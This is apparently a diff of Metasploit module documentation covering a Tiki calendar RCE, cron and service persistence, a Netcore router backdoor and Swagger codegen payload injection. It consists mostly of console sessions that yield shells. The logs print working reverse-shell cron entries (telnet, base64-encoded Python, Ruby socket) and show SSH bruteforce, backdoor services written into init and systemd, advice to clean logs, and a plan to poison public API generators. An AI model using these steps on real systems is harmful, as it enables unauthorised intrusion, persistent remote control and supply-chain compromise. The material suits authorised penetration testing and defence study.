8. Click Apply
|
||||
|
||||
#### Permissions
|
||||
|
||||
If you wish to enable the non-logged in user (anonymous) to view/exploit the calendar:
|
||||
|
||||
1. Log in as admin
|
||||
2. From the top dropdown select permissions
|
||||
3. Check Anonymous near the top
|
||||
4. Click Assign
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the software as documented above
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/tiki_calendar_exec`
|
||||
4. Do: `set rhost 10.10.10.10`
|
||||
5. (optional, if not set, set username to empty) Do: `set PASSWORD admin`
|
||||
6. Do: `set payload php/bind_perl`
|
||||
7. Do: `set verbose true`
|
||||
8. Do: `check`
|
||||
|
||||
```
|
||||
[*] Attempting Login
|
||||
[+] Login Successful!
|
||||
[+] 10.10.10.10:80 The target is vulnerable.
|
||||
```
|
||||
|
||||
9. Do: `exploit`
|
||||
10. You should get a shell
|
||||
|
||||
```
|
||||
[*] Started reverse TCP handler on 10.10.10.10:4444
|
||||
[*] Attempting Login
|
||||
[+] Login Successful!
|
||||
[*] Sending malicious calendar view packet
|
||||
[*] Sending stage (33721 bytes) 10.10.10.10.190
|
||||
[*] Meterpreter session 1 opened (10.10.10.10:4444 -> 192.168.2.190:48188) at 2016-06-19 08:50:44 -0400
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Password is set at first login. Default for admin is 'admin'.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example running against unauthenticated calendar v14.1
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/tiki_calendar_exec
|
||||
msf exploit(tiki_calendar_exec) > set rhost 192.168.2.190
|
||||
rhost => 192.168.2.190
|
||||
msf exploit(tiki_calendar_exec) > set targeturi /t14_1/
|
||||
targeturi => /t14_1/
|
||||
msf exploit(tiki_calendar_exec) > set payload php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
msf exploit(tiki_calendar_exec) > set lhost 192.168.2.229
|
||||
lhost => 192.168.2.229
|
||||
msf exploit(tiki_calendar_exec) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(tiki_calendar_exec) > set username ''
|
||||
username =>
|
||||
msf exploit(tiki_calendar_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.229:4444
|
||||
[*] Sending malicious calendar view packet
|
||||
[*] Sending stage (33721 bytes) to 192.168.2.190
|
||||
[*] Meterpreter session 1 opened (192.168.2.229:4444 -> 192.168.2.190:48172) at 2016-06-18 10:58:19 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : tikiwiki
|
||||
OS : Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64
|
||||
Meterpreter : php/php
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,144 @@
|
||||
### Creating A Testing Environment
|
||||
|
||||
This module has been tested against:
|
||||
|
||||
1. Kali Rolling
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
4. Do: `use exploit/linux/local/cron_persistence`
|
||||
5. Do: `set session #`
|
||||
6. Do: `set target #`
|
||||
7. Do: `set verbose true`
|
||||
8. Optional Do: `set username` (depends on target selection)
|
||||
9. Optional Do: `set cleanup false`
|
||||
10. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
**username**
|
||||
|
||||
Set a specific user's crontab if target 'User Crontab' is selected
|
||||
|
||||
**timing**
|
||||
|
||||
Set cron's timing. Default is to run within a minute. If this is changed, WsfDelay should be adjusted to compensate
|
||||
|
||||
**cleanup**
|
||||
|
||||
After the delayed period, use either perl (User/System Crontab) or standard MSF functionality to remove the cron entry. **THIS WILL STOP THE PERSISTENCE!!!**
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Kali Rolling (root)
|
||||
|
||||
Initial Access
|
||||
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set username root
|
||||
username => root
|
||||
msf auxiliary(ssh_login) > set password password
|
||||
password => password
|
||||
msf auxiliary(ssh_login) > set rhosts 10.10.60.168
|
||||
rhosts => 10.10.60.168
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] 10.10.60.168:22 SSH - Starting bruteforce
|
||||
[+] 10.10.60.168:22 SSH - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) Linux kali 3.18.0-kali3-686-pae #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux '
|
||||
[*] Command shell session 1 opened (10.10.60.168:50618 -> 10.10.60.168:22) at 2016-06-20 09:48:14 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
Run our module (Cron)
|
||||
|
||||
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
|
||||
msf exploit(cron_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(cron_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(cron_persistence) > set target 0
|
||||
target => 0
|
||||
msf exploit(cron_persistence) > exploit
|
||||
|
||||
[*] Started reverse double handler
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 152 bytes in 1 chunks of 518 bytes (octal-encoded), using printf
|
||||
[+] Writing * * * * * root sh -c '(sleep 3867|telnet 10.10.60.168 4444|while : ; do sh && break; done 2>&1|telnet 10.10.60.168 4444 >/dev/null 2>&1 &)' #bAeBQqUYeb to /etc/cron.d/FiThkldAZR
|
||||
[*] Waiting 90sec for callback
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo xPBXQvodQdzgByKR;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket A
|
||||
[*] A: "xPBXQvodQdzgByKR\r\n"
|
||||
[*] Matching...
|
||||
[*] B is input...
|
||||
[*] Command shell session 2 opened (10.10.60.168:4444 -> 10.10.60.168:45087) at 2016-06-20 13:04:02 -0400
|
||||
[+] Deleted /etc/cron.d/FiThkldAZR
|
||||
|
||||
Run our module (System Crontab)
|
||||
|
||||
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
|
||||
msf exploit(cron_persistence) > set payload cmd/unix/reverse_python
|
||||
payload => cmd/unix/reverse_python
|
||||
msf exploit(cron_persistence) > set lhost 192.168.199.128
|
||||
lhost => 192.168.199.128
|
||||
msf exploit(cron_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(cron_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(cron_persistence) > set target 2
|
||||
target => 2
|
||||
msf exploit(cron_persistence) > set cleanup false
|
||||
cleanup => false
|
||||
msf exploit(cron_persistence) > exploit
|
||||
|
||||
[*] Started reverse handler on 192.168.199.128:4444
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 1326 bytes in 1 chunks of 4969 bytes (octal-encoded), using printf
|
||||
[+] Writing * * * * * root python -c "exec('aW1wb3J0IHNvY2tldCAgICwgICAgICAgc3VicHJvY2VzcyAgICwgICAgICAgb3MgICAgICAgOyAgICAgaG9zdD0iMTkyLjE2OC4xOTkuMTI4IiAgICAgICA7ICAgICBwb3J0PTQ0NDQgICAgICAgOyAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgLCAgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICAgIDsgICAgIHMuY29ubmVjdCgoaG9zdCAgICwgICAgICAgcG9ydCkpICAgICAgIDsgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwgICAgICAgMCkgICAgICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLCAgICAgICAxKSAgICAgICA7ICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsICAgICAgIDIpICAgICAgIDsgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))" #SnwfsUhNys to /etc/crontab
|
||||
[*] Waiting 90sec for callback
|
||||
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:54837) at 2016-06-20 13:24:01 -0400
|
||||
|
||||
And since we didn't clean up, if our session dies...
|
||||
|
||||
^C
|
||||
Abort session 2? [y/N] y
|
||||
|
||||
[*] 10.10.60.168 - Command shell session 2 closed. Reason: User exit
|
||||
msf exploit(cron_persistence) > use exploit/multi/handler
|
||||
msf exploit(handler) > set payload cmd/unix/reverse_python
|
||||
payload => cmd/unix/reverse_python
|
||||
msf exploit(handler) > set lhost 192.168.199.128
|
||||
lhost => 192.168.199.128
|
||||
msf exploit(handler) > exploit
|
||||
|
||||
[*] Started reverse handler on 192.168.199.128:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.128:54842) at 2016-06-20 13:27:01 -0400
|
||||
|
||||
Run our module (User Crontab)
|
||||
|
||||
msf exploit(cron_persistence) > set payload cmd/unix/reverse_ruby
|
||||
payload => cmd/unix/reverse_ruby
|
||||
msf exploit(cron_persistence) > set lhost 192.168.199.128
|
||||
lhost => 192.168.199.128
|
||||
msf exploit(cron_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(cron_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(cron_persistence) > set target 1
|
||||
target => 1
|
||||
msf exploit(cron_persistence) > exploit
|
||||
|
||||
[*] Started reverse handler on 192.168.199.128:4444
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 1247 bytes in 1 chunks of 4566 bytes (octal-encoded), using printf
|
||||
[+] Writing * * * * * ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.199.128","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' #IiWAtaIrHs to /var/spool/cron/crontabs/root
|
||||
[*] Reloading cron to pickup new entry
|
||||
[*] Waiting 90sec for callback
|
||||
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:55031) at 2016-06-20 14:22:01 -0400
|
||||
@@ -0,0 +1,254 @@
|
||||
### Creating A Testing Environment
|
||||
|
||||
This module has been tested against:
|
||||
|
||||
1. Kali 2.0 (System V)
|
||||
2. Ubuntu 14.04 (Upstart)
|
||||
3. Ubuntu 16.04 (systemd)
|
||||
4. Centos 5 (System V)
|
||||
5. Fedora 18 (systemd)
|
||||
6. Fedora 20 (systemd)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
3. Do: `use exploit/linux/local/service_persistence`
|
||||
4. Do: `set session #`
|
||||
5. Do: `set verbose true`
|
||||
6. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system.
|
||||
7. Optional Do: `set SHELLAPTH /bin` if needed for compatibility on remote system.
|
||||
8. Do: `set lhost`
|
||||
9. Do: `exploit`
|
||||
10. Do: `use exploit/multi/handler`
|
||||
11. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system.
|
||||
12. Do: `set lhost`
|
||||
13. Do: `exploit -j`
|
||||
14. Kill your shell (if System V, reboot target). Upstart/systemd wait 10sec
|
||||
15. Get Shell
|
||||
|
||||
## Options
|
||||
|
||||
**target**
|
||||
|
||||
There are several targets selectable, which all have their own issues.
|
||||
|
||||
0. Automatic: Detect the service handler automatically based on running `which` to find the admin binaries
|
||||
1. System V: There is no automated restart, so while you'll get a shell, if it crashes, you'll need to wait for a init shift to restart the process automatically (like a reboot). This logs to syslog or /var/log/<process>.log and .err
|
||||
2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever.
|
||||
3. systemd: This module is set to restart the shell after a 10sec pause, and do this forever.
|
||||
|
||||
**SHELLPATH**
|
||||
|
||||
If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin
|
||||
|
||||
**SERVICE**
|
||||
|
||||
The name of the service to create. If not chosen, a 7 character random one is created.
|
||||
|
||||
**SHELL_NAME**
|
||||
|
||||
The name of the file to write with our shell. If not chosen, a 5 character random one is created.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### System V (Centos 5 - root - chkconfig)
|
||||
|
||||
Get initial access
|
||||
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set rhosts 192.168.199.131
|
||||
rhosts => 192.168.199.131
|
||||
msf auxiliary(ssh_login) > set username root
|
||||
username => root
|
||||
msf auxiliary(ssh_login) > set password centos
|
||||
password => centos
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] 192.168.199.131:22 SSH - Starting bruteforce
|
||||
[+] 192.168.199.131:22 SSH - Success: 'root:centos' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-398.el5 #1 SMP Tue Sep 16 20:51:48 EDT 2014 i686 i686 i386 GNU/Linux '
|
||||
[*] Command shell session 1 opened (192.168.199.128:49359 -> 192.168.199.131:22) at 2016-06-22 14:27:38 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
Install our callback service (system_v w/ chkconfig). Note we change SHELLPATH since /usr/local/bin isnt in the path for CentOS 5 services.
|
||||
|
||||
msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence
|
||||
msf exploit(service_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(service_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(service_persistence) > set SHELLPATH /bin
|
||||
SHELLPATH => /bin
|
||||
msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat
|
||||
payload => cmd/unix/reverse_netcat
|
||||
msf exploit(service_persistence) > set lhost 192.168.199.128
|
||||
lhost => 192.168.199.128
|
||||
msf exploit(service_persistence) > exploit
|
||||
|
||||
[*] Started reverse handler on 192.168.199.128:4444
|
||||
[*] Writing backdoor to /bin/GUIJc
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 95 bytes in 1 chunks of 329 bytes (octal-encoded), using printf
|
||||
[*] Utilizing System_V
|
||||
[*] Utilizing chkconfig
|
||||
[*] Writing service: /etc/init.d/HqdezBF
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 1825 bytes in 1 chunks of 6409 bytes (octal-encoded), using printf
|
||||
[*] Enabling & starting our service
|
||||
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.131:56182) at 2016-06-22 14:27:50 -0400
|
||||
|
||||
Reboot the box to prove persistence
|
||||
|
||||
reboot
|
||||
^Z
|
||||
Background session 2? [y/N] y
|
||||
msf exploit(service_persistence) > use exploit/multi/handler
|
||||
msf exploit(handler) > set payload cmd/unix/reverse_netcat
|
||||
payload => cmd/unix/reverse_netcat
|
||||
msf exploit(handler) > set lhost 192.168.199.128
|
||||
lhost => 192.168.199.128
|
||||
msf exploit(handler) > exploit
|
||||
|
||||
[*] Started reverse handler on 192.168.199.128:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.131:44744) at 2016-06-22 14:29:32 -0400
|
||||
|
||||
|
||||
### Upstart (Ubuntu 14.04.4 Server - root)
|
||||
Of note, I allowed Root login via SSH w/ password only to gain easy initial access
|
||||
|
||||
Get initial access
|
||||
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] 10.10.60.175:22 SSH - Starting bruteforce
|
||||
[+] 10.10.60.175:22 SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux '
|
||||
[*] Command shell session 1 opened (10.10.60.168:43945 -> 10.10.60.175:22) at 2016-06-22 08:03:15 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
Install our callback service (Upstart)
|
||||
|
||||
msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence
|
||||
msf exploit(service_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(service_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(service_persistence) > set payload cmd/unix/reverse_python
|
||||
payload => cmd/unix/reverse_python
|
||||
msf exploit(service_persistence) > set lhost 10.10.60.168
|
||||
lhost => 10.10.60.168
|
||||
msf exploit(service_persistence) > exploit
|
||||
|
||||
[*] Started reverse handler on 10.10.60.168:4444
|
||||
[*] Writing backdoor to /usr/local/bin/bmmjv
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 429 bytes in 1 chunks of 1650 bytes (octal-encoded), using printf
|
||||
[*] Utilizing Upstart
|
||||
[*] Writing /etc/init/Hipnufl.conf
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 236 bytes in 1 chunks of 874 bytes (octal-encoded), using printf
|
||||
[*] Starting service
|
||||
[*] Dont forget to clean logs: /var/log/upstart/Hipnufl.log
|
||||
[*] Command shell session 5 opened (10.10.60.168:4444 -> 10.10.60.175:44368) at 2016-06-22 08:23:46 -0400
|
||||
|
||||
And now, we can kill the callback shell from our previous session
|
||||
|
||||
^Z
|
||||
Background session 5? [y/N] y
|
||||
msf exploit(service_persistence) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
netstat -antp | grep 4444
|
||||
tcp 0 0 10.10.60.175:44368 10.10.60.168:4444 ESTABLISHED 1783/bash
|
||||
tcp 0 0 10.10.60.175:44370 10.10.60.168:4444 ESTABLISHED 1789/python
|
||||
kill 1783
|
||||
[*] 10.10.60.175 - Command shell session 5 closed. Reason: Died from EOFError
|
||||
kill 1789
|
||||
|
||||
Now with a multi handler, we can catch Upstart restarting the process every 10sec
|
||||
|
||||
msf > use exploit/multi/handler
|
||||
msf exploit(handler) > set payload cmd/unix/reverse_python
|
||||
payload => cmd/unix/reverse_python
|
||||
msf exploit(handler) > set lhost 10.10.60.168
|
||||
lhost => 10.10.60.168
|
||||
msf exploit(handler) > exploit
|
||||
|
||||
[*] Started reverse handler on 10.10.60.168:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Command shell session 3 opened (10.10.60.168:4444 -> 10.10.60.175:44390) at 2016-06-22 08:26:48 -0400
|
||||
|
||||
|
||||
### systemd (Ubuntu 16.04 Server - root)
|
||||
Ubuntu 16.04 doesn't have many of the default shell options, however `cmd/unix/reverse_netcat` works.
|
||||
While python shellcode works on previous sytems, on 16.04 the path is `python3`, and therefore `python` will fail the shellcode.
|
||||
|
||||
Get initial access
|
||||
|
||||
msf exploit(handler) > use exploit/linux/local/service_persistence
|
||||
msf exploit(service_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(service_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat
|
||||
payload => cmd/unix/reverse_netcat
|
||||
msf exploit(service_persistence) > set lhost 192.168.199.128
|
||||
lhost => 192.168.199.128
|
||||
msf exploit(service_persistence) > exploit
|
||||
|
||||
[*] Started reverse handler on 192.168.199.128:4444
|
||||
[*] Writing backdoor to /usr/local/bin/JSRCF
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 103 bytes in 1 chunks of 361 bytes (octal-encoded), using printf
|
||||
[*] Utilizing systemd
|
||||
[*] /lib/systemd/system/YelHpCx.service
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 151 bytes in 1 chunks of 579 bytes (octal-encoded), using printf
|
||||
[*] Enabling service
|
||||
[*] Starting service
|
||||
[*] Command shell session 7 opened (192.168.199.128:4444 -> 192.168.199.130:47050) at 2016-06-22 10:35:07 -0400
|
||||
|
||||
^Z
|
||||
Background session 7? [y/N] y
|
||||
|
||||
Kill the process on the Ubuntu target box via local access #good_admin
|
||||
|
||||
root@ubuntu:/etc/systemd/system/multi-user.target.wants# netstat -antp | grep 4444
|
||||
tcp 0 0 192.168.199.130:47052 192.168.199.128:4444 ESTABLISHED 5632/nc
|
||||
root@ubuntu:/etc/systemd/system/multi-user.target.wants# kill 5632
|
||||
|
||||
And logically, we lose our shell
|
||||
|
||||
[*] 192.168.199.130 - Command shell session 7 closed. Reason: Died from EOFError
|
||||
|
||||
Now with a multi handler, we can catch systemd restarting the process every 10sec
|
||||
|
||||
|
||||
msf exploit(service_persistence) > use exploit/multi/handler
|
||||
msf exploit(handler) > show options
|
||||
|
||||
Module options (exploit/multi/handler):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
|
||||
Payload options (cmd/unix/reverse_netcat):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.199.128 yes The listen address
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Wildcard Target
|
||||
|
||||
msf exploit(handler) > exploit
|
||||
|
||||
[*] Started reverse handler on 192.168.199.128:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Command shell session 8 opened (192.168.199.128:4444 -> 192.168.199.130:47056) at 2016-06-22 10:37:30 -0400
|
||||
@@ -0,0 +1,94 @@
|
||||
### Vulnerable Devices
|
||||
Trend Micro lists "almost all" models as being vulnerable in August 2014.
|
||||
|
||||
Vulnerable AND Exploitable:
|
||||
|
||||
1. Netcore NI360 second-generation
|
||||
|
||||
Vulnerable, but not Exploitable via this module (details later):
|
||||
|
||||
1. Netis WF2414 firmware V1.4.27001
|
||||
|
||||
### Lab Emulation
|
||||
1. Install qemu
|
||||
2. Download and install mipsel. Please read the [tutorial](https://people.debian.org/%7Eaurel32/qemu/mipsel/README.txt)
|
||||
3. Starts the mipsel lab
|
||||
1. `qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net user,hostfwd=tcp::22222-:22,hostfwd=udp::53413-:53413`
|
||||
4. Put [vuln_squashfs-root.tar.gz](https://github.com/rapid7/metasploit-framework/files/267284/vuln_squashfs-root.tar.gz) to mipsel lab, extract it.
|
||||
1. `scp -P22222 vuln_squashfs-root.tar.gz root@127.0.0.1:/root`
|
||||
2. `tar xvf vuln_squashfs-root.tar.gz`
|
||||
5. Run vuln programs.
|
||||
1. `cd nw614 && chroot . /bin/igdmptd`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the emulator/hardware
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploits/linux/misc/netcore_udp_53413_backdoor`
|
||||
4. Do: `set RHOST <ip>`
|
||||
5. Do: `check`
|
||||
6. Do: `exploit`
|
||||
7. You should get a shell.
|
||||
|
||||
## Exploitability
|
||||
|
||||
As previously noted, some modules are vulnerable, but not currently exploitable via Metasploit.
|
||||
During [testing](https://github.com/rapid7/metasploit-framework/pull/6880#issuecomment-231597626) it was discovered that some modules implement an echo command that does not honor -ne. While it may be possible to still execute a shell, further investigation would need to be conducted.
|
||||
In these cases, it should be possible to use [other scripts](https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py) to act as a fake interactive shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
The following is an example of a vulnerable AND EXPLOITABLE router.
|
||||
|
||||
```
|
||||
use exploits/linux/misc/netcore_udp_53413_backdoor
|
||||
msf exploit(netcore_udp_53413_backdoor) > set RHOST 192.168.1.1
|
||||
RHOST => 192.168.1.1
|
||||
msf exploit(netcore_udp_53413_backdoor) > check
|
||||
[+] The target is vulnerable.
|
||||
msf exploit(netcore_udp_53413_backdoor) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.2:4444
|
||||
[*] Exploiting...
|
||||
[*] Command Stager progress - 12.54% done (196/1563 bytes)
|
||||
[*] Command Stager progress - 25.08% done (392/1563 bytes)
|
||||
[*] Command Stager progress - 37.62% done (588/1563 bytes)
|
||||
[*] Command Stager progress - 50.16% done (784/1563 bytes)
|
||||
[*] Command Stager progress - 62.70% done (980/1563 bytes)
|
||||
[*] Command Stager progress - 75.24% done (1176/1563 bytes)
|
||||
[*] Command Stager progress - 87.78% done (1372/1563 bytes)
|
||||
[*] Command Stager progress - 100.00% done (1563/1563 bytes)
|
||||
[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.1:54180) at 2016-05-16 00:52:43 -0500
|
||||
|
||||
pwd
|
||||
/
|
||||
ls
|
||||
bin
|
||||
cfg
|
||||
dev
|
||||
etc
|
||||
lib
|
||||
linuxrc
|
||||
log
|
||||
proc
|
||||
sbin
|
||||
sh
|
||||
sys
|
||||
tmp
|
||||
usr
|
||||
var
|
||||
web
|
||||
```
|
||||
|
||||
The following is an example of a vulnerable but NOT expoitable router.
|
||||
|
||||
```
|
||||
msf > use exploits/linux/misc/netcore_udp_53413_backdoor
|
||||
msf exploit(netcore_udp_53413_backdoor) > set rhost 192.168.1.1
|
||||
rhost => 192.168.1.1
|
||||
msf exploit(netcore_udp_53413_backdoor) > check
|
||||
|
||||
[+] Backdoor Unlocked
|
||||
[*] Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.
|
||||
[*] The target service is running, but could not be validated.
|
||||
```
|
||||
@@ -0,0 +1,119 @@
|
||||
The [Swagger CodeGen parameter injector module](../../../../../modules/exploits/multi/fileformat/swagger_param_inject.rb) generates a Swagger JSON file with embedded Metasploit payloads.
|
||||
|
||||
In the typical case, a Swagger document defines an API. Swagger can be automatically consumed to generate client/server code, testing and scaffolding in APIs by companies eager to provide value to the increasing need for scalable API deployment and testing.
|
||||
|
||||
Currently, this module supports 4 languages for delivery: NodeJS, PHP, Ruby, and Java. These are specified by the PAYLOAD set for the exploit module.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
All exploits assume a bind or reverse-tcp callback handler, with preference on reverse-tcp.
|
||||
|
||||
1. Start msfconsole
|
||||
2. Start a callback handler listening for a the appropriate payload (e.g.)
|
||||
|
||||
```
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD nodejs/shell_reverse_tcp
|
||||
|
||||
set LHOST 192.168.68.138
|
||||
set LPORT 4444
|
||||
|
||||
run
|
||||
```
|
||||
3. Pick a target
|
||||
|
||||
## Targets
|
||||
|
||||
**NodeJS**
|
||||
|
||||
This attack injects a payload into javascript by terminating a URL path string.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set TARGET 0
|
||||
set PAYLOAD nodejs/shell_reverse_tcp
|
||||
set INFO_VERSION "1.0.0"
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
**PHP**
|
||||
|
||||
This attack injects a payload into PHP multiline comment area.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set TARGET 1
|
||||
set PAYLOAD php/meterpreter/reverse_tcp
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
**ruby**
|
||||
|
||||
This attack injects a payload into ruby multiline comment area.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set TARGET 3
|
||||
set PAYLOAD ruby/shell_reverse_tcp
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
**Java**
|
||||
|
||||
This attack injects a payload into Java by terminating a URL path string.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set TARGET 2
|
||||
set PAYLOAD java/jsp_shell_reverse_tcp
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
## Quick Test
|
||||
|
||||
Use the online [editor.swagger.io](http://editor.swagger.io) to upload your swagger document, and generate pre-built code bases from the document. The swagger editor leverages [generator.swagger.io](http://generator.swagger.io) to build these clients & servers automatically from the document, and published downloadable artifacts of these code bases.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
Effective against services with either these dependencies
|
||||
|
||||
* [swagger-codegen](https://github.com/swagger-api/swagger-codegen)
|
||||
* public API [generator.swagger.io](http://generator.swagger.io/)
|
||||
* public docker container [swagger-generator/](https://hub.docker.com/r/swaggerapi/swagger-generator/)
|
||||
* [swagger-test-templates](https://github.com/apigee-127/swagger-test-templates)
|
||||
|
||||
**Possible Attack approach.**
|
||||
|
||||
1. Research the target environment and component dependencies.
|
||||
2. Setup appropriate payload callback listener.
|
||||
3. generate the appropriate swagger document with associated MS payload (see above for examples)
|
||||
|
||||
|
||||
**Against a webservice (2nd order attack / blind code-gen)**
|
||||
|
||||
*Who knows what insecurely configured code-gen Docker containers hosted in data compute or API broker cluster could do if given the chance...*
|
||||
|
||||
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
|
||||
5. Wait for callback handler event.
|
||||
|
||||
**Against a code repository or public hosting of spec**
|
||||
|
||||
*People and Robots trust swagger to build clients, servers, mocks, and more. Publicly hosted specs should be verified as to not corrupt automatic code generation.*
|
||||
|
||||
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
|
||||
5. Wait for callback handler event.
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
China Chopper Caidao PHP Backdoor or simply [Chinese Caidao](https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html) is a webshell manager coded in PHP.
|
